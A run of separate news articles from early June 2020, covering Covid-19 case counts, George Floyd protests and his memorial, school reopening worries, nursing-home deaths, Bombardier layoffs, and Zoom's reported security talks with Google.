NEW DELHI: A day after the daily Covid-19 cases breached the 9,000-mark in India, the country saw yet another high in the overnight spike of cases with record 9,851 infected patients detected within a day.

The country also saw 273 new infection-related deaths registered on Thursday and the number of total deaths stood at 6,348 on Friday morning.

India now has 1,10,960 active cases while 1,09,462 patients have been announced as cured. The number of overall confirmed cases is 2,26,770.

The country is, worryingly, registering a gradual growth in disease incidents per million which stands at over 157. Just a few days ago, this number was around 110.

Most of the countrys Covid-19 cases1,48,637are from Maharashtra, Tamil Nadu, Delhi, and Gujarat.

In Maharashtra, the situation is particularly worrying as the state has more than 41,000 cases including 2,170 deaths. The state recorded 123 deaths in the last 24 hours.

In Tamil Nadu, which has the second-highest, 27,256 cases, 1,384 fresh cases were registered on Thursday.

In Delhi, where the handling of Covid-19 situation has drawn national attention first due to misleading reporting of deaths and now due to controversial decision not to test anyone asymptomatic, 44 new infection-related deaths were recorded in a day.

In the capital state, the death rate per million continues to be the highest in the country and now stands at above 20.

In states where the disease is spreading fast, the test positivity rate is also surging rapidly, an analysis by the National Institute of Epidemiology under the Indian Council of Medical Research has shown.

In Maharashtra, the average test positivity rate in the last one week has been over 20 per cent while in Delhi this figure is above 18 per cent.

In Madhya Pradesh and Punjab on the other hand, the test positivity rate has come down in the last seven days as compared to figures earlier, indicating that the proportion of people testing positive has gone down significantly.
Police have said that anyone who takes part in public protests is 'putting your heath and the health of others at risk'.

The comments were made as plans continue for a rally in Derry's Guildhall Square tomorrow in support of the 'Black Lives Matter' campaign.

The campaign has received worldwide attention in the wake of the recent killing of George Floyd in the US.

A similar event in Belfast earlier this week was attended by hundreds of people.

However, the PSNI has said people should not be taking part in such gatherings.

"Leaving your house to protest at the weekend is putting your health and the health of others at risk," a police spokesperson said.

"As a society we are fighting a global pandemic. Mass gatherings will push back the progress we have made. Please follow the NI Executive COVID19 regulations."

First Minister Arlene Foster has also urged people not to take part in public protests.

Tomorrow's rally in Derry has been called a Socially Distanced Day of Solidarity Rally; Justice for George Floyd Rally'.

The rally has been organised by the North West Migrants Forum.

A spokesperson for the group said they were aware of concerns following this week's event in Belfast.

"With this is mind, we want to reassure the public of the steps and precautions we are taking to fully protect the wellbeing and safety of everyone in attendance at our peaceful rally on Saturday 6th June at the guildhall square in Derry/Londonderry.

"We have received numerous donations of personal protective equipment (PPE), including facemasks, gloves and over 500 new bottles of hand sanitiser, all of which will be made available for attendees to make use of on the day.

"Our team of volunteer stewards currently standing at 45, will also be in place to ensure that everyone adheres to social distancing rules and remains two metres apart from one another, and there will be two metre markings displayed on the ground outside of the Guildhall to help people with this."

The spokesperson encouraged participants to bring their own PPE if they prefer.

The spokesperson added: "Delighted that The Derry Trades Union Council are supporting the Socially Distanced Day of Solidarity Rally tomorrow and they will also Provide us with additional volunteers to ensure social distantancing at the event.

"In addition, we have confirmed with the PSNI that this rally will be conducted in accordance with the governments official guidelines regarding the prevention of COVID-19, and our social distancing measures will be actively enforced.

"Social distancing is likely to be part of our lives for the next few months, if not years, so in the midst of our new normal this is a great opportunity to show your support for the Black Lives Matter movement.

"We want to reassure everyone that from the outset, the health and safety of every member of our community has been at the forefront of our minds whilst organising this rally."
The return of pari-mutuel harness racing in Canada is officially here with the first race card since the onset of the COVID-19 pandemic underway Thursday (June 4) at Red Shores Racetrack & Casino at the Charlottetown Driving Park.

The capital oval was the first track in Canada to hold harness racing since March and the historic oval handled $102,308 on the 10-dash card in online betting as no spectators were allowed on site.

In the first at Charlottetown, C L La Rousse (Corey MacPherson) carved out fractions of :28.2, :58.3 and 1:28.3 before facing pressure late in the mile. Elm Grove Misty (Dave Kelly) was overland for the majority of the mile and appeared to be gaining ground on the pacesetter but didn't count on Dale Spence angling to the inside off his helmet with Jays Little Spark. The pacers hit the wire three across and Jays Little Spark got up in time for the win in 1:58.4. C L La Rousse held off a valiant Elm Grove Misty for place.

Chris MacInnis trains Jays Little Spark, an eight-year-old Aahm Canadian Now - Pownal Bay Pearl mare owned by Chris MacInnis of Hampshire, P.E.I. The pacing mare picked up her 16th career pacing win in the process.

After the first race, Red Shores' General Manager David MacKenzie offered his appreciation to the Island harness racing community for its assistance and patience during these unprecedented times.

"I just want to take a second to extend some appreciation on behalf of the Red Shores team, particularly to the PEI horse racing community -- to the owners, the trainers, the drivers, the grooms, the shippers, the veterinarians, the blacksmiths -- all those people who've worked so closely with us, with patience and understanding. It's been incredible and very much appreciated."

MacKenzie also noted that the team at Red Shores is aiming for an end of June to July 1 opening for the Summerside location.

Trainer-driver Marc Campbell gave Dreamfair Zenfire a perfect two-hole trip in her Island debut in the featured $2,900 Fillies and Mares Open pace for owners Ryan and Everett MacLeod with a 1:56 mile.

Race-favourite Berazzled set the early tempo with splits of :28.4, :58.1 and 1:27.3 while Dreamfair Zenfire sat on her back. The eventual winner angled out for the stretch drive to win by a half length over Berazzled with Woodmere Chella rounding out the triactor.

Live racing continues Saturday evening at 6 p.m. (ADT) at Red Shores Charlottetown with a 10-dash program. For race replays and more go to Redshores.ca.

(with files from Red Shores)

For the results from the Thursday card at Charlottetown Driving Park, click one of the following link: Thursday Results - Charlottetown Driving Park.
AMARILLO, Texas, June 5, 2020 /PRNewswire/ -- The newest suspense series being praised as this summers big series, has moved up its summer releases. The Neil Baggio Suspense series by Charles D'Amico have moved up Ave Maria, the 2nd in the series to July 4th. Blue Handle Publishing will announce on June 9th two more books released from an Amazon Best Selling author.



Summer Release Schedule:

Neil Baggio Series - First Three Books Blue Handle Logo

June 9th  Big announcement on Amazon Best Seller coming to Blue Handle Publishing

July 4th  Ave Maria

2nd in the Neil Baggio Series

August 1 st  Colloquium

3rd in the Neil Baggio Series

Veritas: A Neil Baggio Suspense  Currently for Sale

Neil Baggio thought he was done with Bureau, done with Cappelano, and finally accepted he may never close the case of his mentor turned famed killer. After a rash of killings too close to be considered copycats, too detailed to be someone else, the Bureau calls Neil back in. Cappelano, the Veritas Killer, looks to Neil as unfinished business, a student still in need of his teaching and will do everything in his power to finish his lesson.

Neil must overcome the demons that come with watching a killer go free, taking lives, and doing it on your watch. He must color outside the Bureau's lines if he's going to catch Cappelano this time and not play by all the Bureaus rules that cost him last time. Since leaving the Bureau, Neil has built a company in Detroit of investigators with a trusted ally that has made him a force in the community. Using the team he trusts, he will have to work inside the Bureau to keep tabs on Cappelano, while working outside the Bureaus prying eyes.

Ave Maria  Preorder July 4th

FOLLOWING THE CONCLUSION OF VERITAS, NEIL BAGGIO IS CALLED BACK TO ST. MARYS, WHERE HE ONCE ATTENDED HIGH SCHOOL. NEIL MUST TRACK DOWN THE TRUTH OF A STUDENTS DEATH AND FIGURE OUT WHY THE CHURCH IS ERASING HIM FROM EXISTANCE AND HIDING HIS MOTHER!

Media representatives may contact:

Charles P D'Amico

806-502-0522

[email protected]

Great Reads, Sweet Swag, and new talent  www.BHPubs.com

SOURCE Blue Handle Publishing
WASHINGTON - Christian Herr is only 35, but he has been on medication ever since he suffered a heart attack in his classroom nine years ago. His cardiologist is clear: Herr's condition puts him at risk of dangerous complications if he contracts the novel coronavirus.

So two months after his school closed, and with next school year on the horizon, Herr, a sixth-grade science teacher in Washington, D.C., wonders: Can he go back when classrooms reopen? Will he be safe? How will he know?

School districts across the country are sharing rough drafts of what the fall could look like. They are under increasing pressure, from parents and politicians, for those plans to include at least some in-person learning.

But teachers, especially ones who are older or medically compromised, worry those plans do to little to protect them.

The plans are also just unrealistic, teachers say. They can't envision students maintaining social distance, keeping masks on, or walking in the same directions in hallways, all things health officials are recommending. Even before the pandemic, teachers said, their schools struggled to keep ample soap and water running in the bathrooms.

"When I hear about keeping students socially distant, I just kind of laugh at that," said Crysta Weitekamp, a 47-year-old special education teacher at Southeast High School in Springfield, Ill., who has asthma. "They're social creatures."

So, teachers say, they're anxious about returning. But they're also anxious about what happens to their job if they refuse.

"It does make me nervous to say no," said Lara, a high school teacher at a Los Angeles charter school who is immunocompromised. (Worried about her job, she spoke on the condition that she be identified only by her first name.) "Of course schools need to reopen, but at what point are you being sacrificed?"

For all the plans to reopen schools, from masked kids to staggered schedules to half-empy buses, few address what to do with at-risk teachers. But one strong advocate of a return to normalcy this fall has at least brought it up: President Donald Trump said that schools "should be opened ASAP," and that older teachers may just need to stay home.

The American Enterprise Institute, a right-leaning think tank, has an idea for making that happen: It recommends school districts offer early retirement incentives to older teachers, a controversial proposal that has long been pushed by some education reformers - and dismissed by teachers unions as a way to drive down labor costs.

John Bailey, co-author of the American Enterprise study, said this is an unprecedented scenario and that the plan would protect older teachers. Given the economy, he is unsure how many teachers would even want this option; districts should also find new, less risky roles for those teachers. But retirement incentives are worth exploring, he said.

Nearly 18 percent of teachers are 55 and older, according to the National Center for Education Statistics. If teachers retire in big numbers, that could exacerbate a national teacher shortage, particularly in rural areas.

"They are being squeezed on both ends," Bailey said of school districts. "They are having these teachers who cannot come to school. And they are also having to find teachers who are able to come to school."

Randi Weingarten, president of the American Federation of Teachers, the nation's second largest teachers union, told teachers to "scream bloody murder" if their districts attempt to reopen against health guidelines. But as pressure builds for an in-person fall, teachers and unions say they want to be part of the discussion so they can ensure that reopening is driven by science, not economics.

"There is a lot of categories of people who we should be concerned about in the absence of a vaccine and in the absence of very aggressive testing," Weingarten said. "The notion that it's just affecting people 65 and older is wrong."

School leaders across the country are proposing alternatives. One Idaho school that has already reopened is allowing teachers to lead classes remotely from home, with substitute teachers supervising the physical classrooms, according to Education Week.

In Washington, Paul Kihn, deputy mayor for education, called figuring out how to staff school in the fall a "jigsaw puzzle." The pieces of that puzzle include teachers who are considered high-risk; teachers who live with someone who is high-risk; and teachers who have children on a different school schedule. City health guidelines call for teachers who are considered high-risk to receive medical clearance before returning to the classrooms.

"This is an extraordinarily complex undertaking for each school community," Kihn said. "We have a fairly good understanding of the concerns that families, parents and school staff have about returning to school buildings. We also understand that our primary job is to ensure safety."

Kihn said the school district is exploring plans to protect at-risk teachers. One factor, he said, is that many students won't attend in-person classes because they have a medical condition or live with someone considered high-risk. Teachers who must remain home may be able to teach those children virtually. And like many districts, D.C. is considering having students report to school for in-person learning some days and stay home on others, to allow for more social distancing on campuses. At-risk teachers may be given a greater share of distance-learning.

Eric Williams, superintendent of Loudoun County Schools and a member of Virginia Gov. Ralph Northam's, D, Education Work Group, said reopening can happen only if school districts are entirely transparent with their teachers and staff. Opening up won't happen unless there are good plans in place "so staff and parents won't have anxiety about returning," he said. "We are committing to making decisions based on conditions, not time. It's about data, not dates."

With so many unknowns about how long the pandemic will extend, teachers - including younger and healthy ones - question whether schools can safely pull off a plan.

Herr's 33 year-old wife, for example, is a librarian at a D.C. Public Schools campus. She is healthy, he said, but she worries her daily interactions with children could endanger Herr.

"These are kids, and they are unpredictable, and we can set up as many structures and guidelines as we want, and stuff is going to fall through the cracks, and kids will not always follow the rules," Herr said. "The consequences of that are really dire."

Teachers say the safe reopening of schools relies on families following the health guidance. If someone in a household is ill, school staff said they must trust that the family won't send their kids to school. But job pressure often forces parents to send their kids to school sick, and teachers said they don't believe that will change.

"I want to be back in school with students, badly," said Zach Carroll, a middle school teacher in the District. "But would I feel safe? Not at all."

Teachers aren't the only school-based staff worrying about returning. Paraprofessionals, cafeteria workers and security guards tend to skew older. In D.C. Public Schools, 2 percent of teachers are 65 and older, according to city data. But 6 percent of school-based staff are 65 and older.

Robert Alston Jr., the in-school suspension coordinator at Coolidge High in Washington, is the leader of the union that represents school support staff. He's 51 and has type 2 diabetes. When a fight breaks out at his school, he's the person called to help break it up. When a teenager at his school is struggling or has an outburst, he often rubs their backs, soothes them, ensures they are OK. He wonders how aides assigned to help students with special education needs would continue their work under these health guidelines.

"We talk about front-line workers, but do they really look at us - support staff in schools?" Alston asked. "We have people who are crying, kids who are bleeding, kids who need a hug, kids who need extra support."

Alston said support staff are in this profession for the long run. So whatever schools plan for the fall, they need to figure how to accommodate him and his colleagues.

"We are the lowest-paid people in schools," Alston said. "We don't have enough money to retire."
Drew Brees does not have a history of concussions, which while fortunate, also leaves us completely puzzled as to what mental misfiring occurred that would cause him to go on TV (or whatever Yahoo! Finance broadcasts to) and say this:

It's incredible to me that anyone still believes Colin Kaepernick's protests where about disrespecting the flag as if Kaepernick had some sort of secret vendetta against Betsy Ross. (The stars are too tiny, dammit!) Kaepernick's kneeling is and has always clearly been about the systematic oppression of Black People and the argument that this protest is somehow dishonorable to the military, in a country where the military has literally fought for our right to protest, feels asinine. (Not to mention the fact that Kaepernick got the idea of kneeling rather than sitting from a Green Beret.)

So what are the thoughts and feelings of Brees' teammates and fellow players around the league? It turns out they're not happy.

That comes from Malcolm Jenkins, Pro Bowl Safety of the New Orleans Saints. If you watch the video you can see just how emotional he gets. This was a man Jenkins clearly respected greatly, and to see his public lack of support while Black People are on the street fighting for their lives creates the type of rift you can't just overcome by playing a few games of football together. Here's another comment from Saints All-Pro Wide-Receiver, Michael Thomas.
BOSTON - Long-term care facilities (LTCFs) are a major driver of total COVID-19 deaths. Reported today in the Journal of the American Geriatrics Society, Boston Medical Center (BMC) and Boston University School of Medicine (BUSM) geriatricians Rossana Lau-Ng, Lisa Caruso and Thomas Perls studied the past month's case and death data reported by the Massachusetts Department of Health's COVID-19 daily Dashboard along with data provided by the Kaiser Family Foundation and other countries. As the pandemic drags on, the proportion of COVID-19 deaths in Massachusetts that occur in LTCFs (nursing homes and group homes) has climbed from 54 percent to 63 percent as of May 29t.

Some states have even higher proportions of COVID-19 deaths in LTCFs. According to Kaiser Family Foundation data, as of May 28, 81percent of COVID-19 deaths in Minnesota and Rhode Island had occurred in nursing homes. In Connecticut the proportion was 71 percent and in New Hampshire it was 70 percent. Another 22 states reported that 50 percent or more of their COVID-19 deaths occurred in LTCFs. Despite these lopsided figures, 11 states (Alabama, Alaska, Arizona, Arkansas, Hawaii, Michigan, Missouri, Montana, New Mexico, North and South Dakota) continue to not report the number of COVID-19 deaths occurring in LTCFs, which has contributed to a vast underestimation of the total number of COVID-19 deaths in the United States.

Other causes of under-reporting nursing home COVID-19 deaths include incomplete data collection by states and that up through mid-April, many states and the Centers for Disease Control did not accept a diagnosis of COVID-19 without substantiation by a positive test. Thus, many deaths were not reported because tests for COVID-19 were largely unavailable to nursing homes. Now, officials are going back to see if many deaths can be categorized as probable COVID-19 based upon the medical presentation and history of exposure. As of May 28, New York reported the lowest proportion of COVID-19 deaths in LTCFs at 21 percent, yet the rate is three-four times higher in other Northeastern states. "Once we get accurate counts of the COVID-19 deaths in all states, we will likely see a big increase in the total number of deaths in the United States," says Thomas Perls, MD, professor of medicine at BUSM and a study co-author.

Other countries are reporting that the majority of their COVID-19 deaths are also occurring in LTCFs. In early May, Canada indicated that 82 percent of its deaths are in LTCFs. The World Health Organization estimates that half of all COVID-19 deaths in Europe and the Baltics happen in nursing and care homes.

However, there are other countries and regions that are bucking the trend. Hong Kong reports no LTCF COVID-19 deaths and South Korea and Singapore each report fewer than 20 such deaths. New Zealand, because it closed its borders early and with its strict quarantining policy, also reports fewer than 20 LTCF COVID-19 deaths.

So why are most LTCFs so vulnerable to COVID-19? In Massachusetts, almost 90 percent of LTCFs have had at least one COVID-19 case. Lisa Caruso MD, assistant professor of medicine at BUSM and another author indicates, "the asymptomatic spread of this virus allows it to easily sneak in to these facilities where essential staff go from nursing home to nursing home, like x-ray technicians, phlebotomists, nurses and nursing assistants who have to work more than one job to make ends meet." Caruso, a geriatrician at BMC, goes on to say, "Checking temperatures of visitors and staff is obviously not enough. Everyone visiting or working in a LTCF needs to either be found to have immunity to the virus or to be regularly tested."

Beyond the untenable deaths, the pandemic is exacting a terrible psychological and social toll on families, residents and staff. Author Rossana Lau-Ng, MD, instructor of medicine at BUSM remarks, "Our residents are now isolated in their rooms and families who can't visit are terribly worried. We are doing all we can to maintain some semblance of the home-like environment that we had previously strived to achieve but that is now so very challenging." Just as the community at-large must adapt to a new norm during this pandemic, LTCFs have emerged as the front line and must be even more vigilant for the foreseeable future.

###

About Boston Medical Center

Boston Medical Center is a private, not-for-profit, 514-bed, academic medical center that is the primary teaching affiliate of Boston University School of Medicine. It is the largest and busiest provider of trauma and emergency services in New England. Boston Medical Center offers specialized care for complex health problems and is a leading research institution, receiving more than $97 million in sponsored research funding in fiscal year 2018. It is the 15th largest funding recipient in the U.S. from the National Institutes of Health among independent hospitals. In 1997, BMC founded Boston Medical Center Health Plan, Inc., now one of the top ranked Medicaid MCOs in the country, as a non-profit managed care organization. Boston Medical Center and Boston University School of Medicine are partners in Boston HealthNet - 14 community health centers focused on providing exceptional health care to residents of Boston. For more information, please visit http://www.bmc.org. About Boston University School of Medicine

Originally established in 1848 as the New England Female Medical College, and incorporated into Boston University in 1873, Boston University School of Medicine (BUSM) today is a leading academic medical center with an enrollment of more than 700 medical students and 950 students pursuing degrees in graduate medical sciences. BUSM faculty contribute to more than 950 active grants and contracts, with total anticipated awards valued at more than $693 million in amyloidosis, arthritis, cardiovascular disease, cancer, infectious diseases, pulmonary disease and dermatology, among other areas. The School's teaching affiliates include Boston Medical Center, its primary teaching hospital, the Boston VA Healthcare System, Kaiser Permanente in northern California, as well as Boston HealthNet, a network of 15 community health centers. For more information, please visit http://www.bumc.bu.edu/busm/

Contact: Gina DiGravio, T: 617-358-7838 | C: 617-224-8962 | ginad@bu.edu

Jenny Eriksen Leary, T: 617-638-6841| Jenny.Eriksen@bmc.org
The price of fuel has grown for about two kopiyka ($0,00075)

Open source

The retail cost of petrol in the half of the Ukrainian regions grew by two kopiyka ($0,00075) averagely; in other regions the price has not changed. The same situation is with the prices for diesel fuel and the price for autogas has not changed only in eight regions as the A-95 consulting group reported.

The minimal price increase of A-92 and A-95 petrol is observed in Lviv and Kharkiv regions (+one kopiyka, $0,00038). Mostly, the petrol grew in price in Zakarpattia region (+13 kopiyka, $0,0049). The price for A-95+ petrol remained unchanged in all regions.

The diesel fuel got up averagely by three kopiyka but in Odesa region its price grew by 10 kopiyka. The autogas price continues to grow in a few days in a row.

The cheapest petrol of all types (A-92, A-95 and A-95+) is sold in Sumy region  19.66 hryvnia ($0.74), 20.66 hryvnia ($0.78) and 22.32 hryvnia ($0.84) per liter respectively. The cheapest diesel fuel is observed in Kharkiv region  20.07 ($0.75) hryvnia per liter. The cheapest autogas is observed in Chernihiv region  10.23 hryvnia ($0.38) per liter.

The most expensive A-92, A-95 petrol and diesel fuel are found in Luhansk region. The most expensive A-95+ is sold in Zhytomyr and Zakarpattia regions. The autogas sold in Odesa regions is found to be the most expensive.

Earlier, the experts came to the conclusion that the fuel consumption in Ukraine will fall by 20-30% due to the introduction of quarantine measures.

As we reported, Ukrainian wheat exports from seaports almost fell by half to 138,000 tonnes in the week of March 28 - April 3 from 277,000 tonnes a week earlier.
Lucknow, June 5 : Uttar Pradesh Chief Minister Yogi Adityanath, has introduced a new MoU (Memorandum of Understanding) Monitoring Mechanism to ensure swift implementation of investment proposals in the state.

According to UP minister for industrial development, Satish Mahana, this will ensure better handholding of investors and efficient tracking of investment lifecycle of projects.

Mahana said that backed by information technology, the new mechanism would enable monitoring of investment intents at various levels of the government, thereby, facilitating the existing investors and instilling confidence in new investors in the investment ecosystem of Uttar Pradesh.

UP Chief Secretary, Rajendra Kumar Tiwari, has directed Infrastructure & Industrial Development Commissioner (IIDC), Agriculture Production Commissioner (APC), all additional chief secretaries, secretaries and divisional commissioners in the state to ensure prompt and strict compliance of the provisions and processes defined under the new mechanism to facilitate willing investors and timely implementation of their projects.

The Chief Secretary said that the new mechanism aims to institutionalise investment project monitoring system along with standardization of MoU implementation across the project lifecycle in the state.

He said that the new system would not only bring the investors and other government stakeholders on a single interactive platform, but it would also enable facilitation requirements of investors for smoother implementation and better targeting.

Moreover, investors would have the option of communicating with departments online through this portal.

Infrastructure & Industrial Development Commissioner Alok Tandon said that as a result of rigorous review and monitoring at the various levels of government, 371 of 1,045 MoUs received during the UP Investors Summit 2018, were under various phases of implementation in the state.

"Till March 2020, 106 of these 371 MoUs had successfully started their commercial operations, yet it was felt by the government that a better and efficient mechanism was required to ensure speedy execution of investment projects in view of the interest shown by new national and international investors," he said.

He said that under the new mechanism, all concerned departments would have to assign a dedicated nodal officer for implementation of MoUs.

He said that MoU tracking portal, which had been integrated with 'Nivesh Mitra', the single window portal of the state, would impart digital and real-time transparency to the system, while domain expertise of different departments would be better utilized by allocating the sector-wise MoUs to concerned departments for monitoring.

Details of all the existing MoUs are already available on the portal and each MoU is mapped to a dedicated MoU Department.

The MoU Department will be solely responsible for implementation of the MoU. All the new MoUs signed between any department of Government of Uttar Pradesh need to be entered in MoU tracking portal. Similarly, all divisional commissioners will also be able to access the portal through a distinct login ID allotted to them.
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Linkedin (Reuters)  Fri, June 5, 2020 11:34 595 fc6853813033f564188675f8bdc581e3 2 Art & Culture mural,George-Floyd,#BlackLivesMatter,Oakland,protest,tribute Free

Several dozen artists spray-painted murals and slogans on boarded-up businesses in Oakland, California, this week in support of Black Lives Matter and George Floyd, an unarmed black man who was killed by a white policeman.

The artists said they were responding to a call by activists to beautify the city after the store windows were boarded up to protect them as some demonstrations to protest Floyd's death turned violent.

The muralists said they wanted to pay tribute to the memory of Floyd, who was killed last month, and to the Black Lives Matter movement, which raises awareness over police brutality towards black people and other racial minorities.

Read also: Papuan lives matter: George Floyd and colorism in Indonesia

"It's the rampant abuse of power. It's been in our society for far too long and it's undeniable to anyone now. This isn't my fight, but I am here to follow the lead of my brothers and sisters who have been aggrieved for generations," Dustin Young, one of the artists, told Reuters.

"We have a lot of different pieces, but it's all peaceful. It's all unity. It's all just about love," said Aireon Tavarres, one of the organizers, in front of a spray-painted picture of a rainbow-colored star, emblazoned with the words 'No Fear.'
By Associated Press

MINNEAPOLIS: Celebrities, musicians and political leaders gathered in front of George Floyd's golden casket Thursday for a fiery memorial service for the man whose death at the hands of police sparked global protests, with a civil rights leader declaring it is time for black people to demand, "Get your knee off our necks!" The service.

The first in a series of memorials set for three cities over six days unfolded in Minneapolis at a sanctuary at North Central University as a judge a few blocks away set bail at $750,000 each for the three fired police officers charged with aiding and abetting murder in Floyd's death.

"George Floyd's story has been the story of black folks. Because ever since 401 years ago, the reason we could never be who we wanted and dreamed to be is you kept your knee on our neck," the Rev. Al Sharpton said in a fierce eulogy.

"It's time for us to stand up in George's name and say, 'Get your knee off our necks!'" Floyd, a 46-year-old out-of-work bouncer, died May 25 after a white police officer, Derek Chauvin, put his knee on Floyd's neck for several minutes as he lay handcuffed on the pavement, gasping that he couldn't breathe.

ALSO READ | 'Power to the people': George Floyd's brother says at New York memorial

Chauvin has been charged with murder, and he and the others could get up to 40 years in prison.

From coast to coast, and from Paris and London to Sydney and Rio de Janeiro, the chilling cellphone video of Floyd's slow death has set off turbulent and sometimes violent demonstrations against police brutality, racism and inequality.

Some protests continued Thursday.

Those gathered at the Minneapolis tribute stood in silence for 8 minutes, 46 seconds, the amount of time Floyd was alleged to be on the ground under the control of police.

Sharpton vowed that this will become a movement to "change the whole system of justice."

"Time is out for not holding you accountable! Time is out for you making excuses! Time is out for you trying to stall! Time is out for empty words and empty promses! Time is out for you filibustering and trying to stall the arm of justice!" he said.

The service drew the Rev. Jesse Jackson, Sen. Amy Klobuchar and other members of Congress, including Reps. Ilhan Omar, Sheila Jackson Lee and Ayanna Pressley.

Among the celebrities in attendance were T.I., Ludacris, Tyrese Gibson, Kevin Hart, Tiffany Haddish and Marsai Martin.

"All these people came to see my brother," Philonise Floyd told the crowd at the memorial in awe as he recounted their childhoods playing catch and eating banana-mayonnaise sandwiches.

"That's amazing to me that he touched so many people's hearts because he touched our hearts."

ALSO READ | George Floyd mourned, celebrated as death used as call to action

He and other family members spoke lovingly of Floyd, who was well over 6 feet tall, which earned him the nickname "Big George."

The casket was covered in red roses, and a vibrant image was projected above the pulpit of a mural of Floyd painted at the street corner where he was arrested by police on suspicion of passing a counterfeit $20 bill at a convenience store.

The message on the mural: "I can breathe now."

The sanctuary normally seats 1,000, but because of the coronavirus outbreak, the capacity was reduced to about 500, and many mourners wore masks, some with "I can't breathe" on them.

Outside, hundreds chanted Floyd's name as a hearse prepared to carry him away.

His body goes next to Raeford, North Carolina, near where he was born, for a public viewing and private family service on Saturday.

A public viewing will be held Monday in Houston, where he was raised and lived most of his life.

In the U.S., where protests had been marked by bouts of lawlessness since last week, relative quiet prevailed for a third straight night Thursday, a day after prosecutors charged the three other officers at the scene and filed a new, more serious count of murder against Chauvin.

In New York City, a large crowd gathered at Brooklyn's Cadman Plaza and chanted "You are not alone" in a rally with one of George Floyd's brothers "I thank God for you all showing love to my brother," said an emotional Terrence Floyd.

Peaceful demonstrations continued past the city's 8 p.m. curfew, even as Gov. Andrew Cuomo and Mayor Bill de Blasio sought to deflect criticism over harsh tactics from police enforcing the curfew the night before.

While there was a heavy police presence on the streets, they did not immediately move in to make arrests.

In Buffalo, video from television station WBFO showed an officer appearing to shove a man who walked up to police while they were enforcing a nightly curfew.

The man falls backward, hits his head on the pavement and immediately begins bleeding as officers walk past him.

A county official tweeted that the man was hospitalized and stable, but his exact condition was not immediately known.

News outlets reported that Buffalo Police Commissioner Byron Lockwood suspended two officers late Thursday.

In Washington, the law enforcement presence was much lighter compared to the previous night, and thousands of people marched peacefully from near the White House to the Lincoln Memorial.

Police cleared the largely empty streets of cars just ahead of the demonstrators' path.

The protests broke up before dark as a heavy rain began.
BAKU, Azerbaijan, June 5

Trend:

Deputy Foreign Minister of Azerbaijan Mahmud Mammadguliyev met with the new Deputy Secretary-General for Political Affairs of the European External Action Service Enrique Mora in a video conference format, Azerbaijani Ministry of Foreign Affairs told Trend.

During the meeting, Mammadguliyev congratulated Enrique Mora on his new appointment and expressed confidence that he would contribute to further development of relations between the EU and Azerbaijan.

Noting the importance of Azerbaijans dialogue with the EU in the field of security, the deputy minister stressed the effectiveness and importance of the meetings between delegations of the highest level in Baku.

Mammadguliyev thanked the EU for supporting the independence, sovereignty and territorial integrity of Azerbaijan, and expressed confidence that these principles will remain fundamental in relations between the EU and partner countries, as was emphasized in the Final Document of the Council of Foreign Ministers of the EU dated May 12, 2020 on the future of the Eastern Partnership, and by EU High Representative for Foreign Affairs and Security Policy, Vice-President of the European Commission Josep Borrell, at a United Nations Security Council briefing.

Enrique Mora recalled with satisfaction his visit to Azerbaijan as a member of Spanish delegation and a representative of the Ministry of Foreign Affairs, and shared his pleasant impressions.

Mora said that Azerbaijan is an important partner of the EU in the Eastern Partnership program, adding that the country makes an effective contribution to regional security and stability.

Possessing secular values, Azerbaijan plays an exceptional role in the development of intercultural dialogue. Relations between the EU and Azerbaijan, in particular in the field of transport, have enormous potential, noted Mora.

The EU representative said that the country is taking effective measures to combat the COVID-19 pandemic, adding that the EU is ready to support Azerbaijan in eliminating the consequences of the COVID-19.

The parties also exchanged views on facilitating negotiations on a new Bilateral Agreement between Azerbaijan and the EU.
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Aerospace giant Bombardier has said it is looking at staff requirements in Belfast after its Canadian parent company announced 2,500 job losses.

It is the latest sign of growing pressure on the aerospace sector here in response to a global crisis in aviation following lockdown.

Thompson Aero in Portadown, which makes aircraft seats, announced 500 job losses among its 1,220 staff this week.

But Bombardier in Belfast may escape the worst of the cuts at this point, with a spokesman for Bombardier Aviation telling Canadian radio that up to 1,900 of the posts affected would be lost in Canada.

Around 500 positions would be cut in its operation in Mexico, 40 in North America and 40 in other territories.

The company employs 22,000 people worldwide, including 3,500 in Belfast.

However, the Belfast operation is in the process of being sold to US company Spirit AeroSystems.

A spokesman for Bombardier in Belfast said: "Bombardier Aviation announced that it would adjust its workforce to align with current market conditions reflecting the extraordinary industry interruptions and challenges caused by Covid-19.

"In light of this, we are reviewing our requirements for our Northern Ireland operations for all our aircraft programmes and will communicate any impact in due course.

"We have no announcement to make at this time."

Trade union Unite said it would not be commenting but added that "our reps are keeping on top of this situation in the context of the overall challenge in aerospace".

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Stephen Kelly, chief executive of Manufacturing NI, said the challenges at Bombardier reflect that the industry faces "very significant trouble". Firms like Airbus and Rolls-Royce were facing declines of between 70% and 90% in demand.

"As the world continues to be in lockdown and travel severely restricted, that aviation market is in severe distress," he said. "For now, Belfast has avoided some of the penalty of this global restriction on travel, but the trend in the industry is extremely negative and the worry would be that Belfast will not be immune to the problems in the sector."

Mr Kelly said that the fortunes of the Belfast workforce should become clearer when the takeover by Spirit is complete.

"We would hope the new owners would see this as a place to invest and very much a global centre for them, and that would help with securing the immediate and long-term future of those workers," he added.

Bombardier Aviation in Canada said it had to cut its workforce due to the "extraordinary industry interruptions and challenges caused by Covid-19". It said the company had responded promptly in the early stages of the pandemic, by suspending manufacturing before reopening over the last month with safety measures in place.

It added: "Now with business jet deliveries, industry-wide, forecasted to be down approximately 30% year-over-year due to the pandemic, Bombardier must adjust its operations and workforce to ensure that it emerges from the current crisis on solid footing.

"Accordingly, Bombardier Aviation has made the difficult decision to reduce its workforce by approximately 2,500 employees.

"The majority of these reductions will impact manufacturing operations in Canada and will be carried out progressively throughout 2020. Bombardier's worldwide customer service operations have continued to operate largely uninterrupted throughout the pandemic."
Google could ultimately help video conferencing company Zoom beef up its security measures. Thats according to recent reports citing two unnamed sources said to be familiar with the matter. The sources claim that Zoom is in the advanced stages of talks with the search giant. Specifically, thats Googles Cloud division. The discussion centers around the use of a Google security service.

In particular, the talks appear to be focused on alerts, rather than any responsive security measures. That would also rule out any security services that would be actively guarding Zooms services. Instead, the sources claim, Zoom is seeking to warn users about clicking links, among other things.

Among the speculated solutions, Googles services might also be used to flag links to websites. More directly, those would be websites sent to Zoom users by scammers and bad actors.

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Why is Zoom looking for security help?

Zoom saw rampant growth in its user base as a result of ongoing global health concerns. Especially, since it quickly became a top tool not just for business but for schools and everyday visitors to the web as a way to stay in touch. That growth was quickly followed by reports that it was leaking user data. Around the same time, it was discovered that Zoom log-in credentials were being sold online.

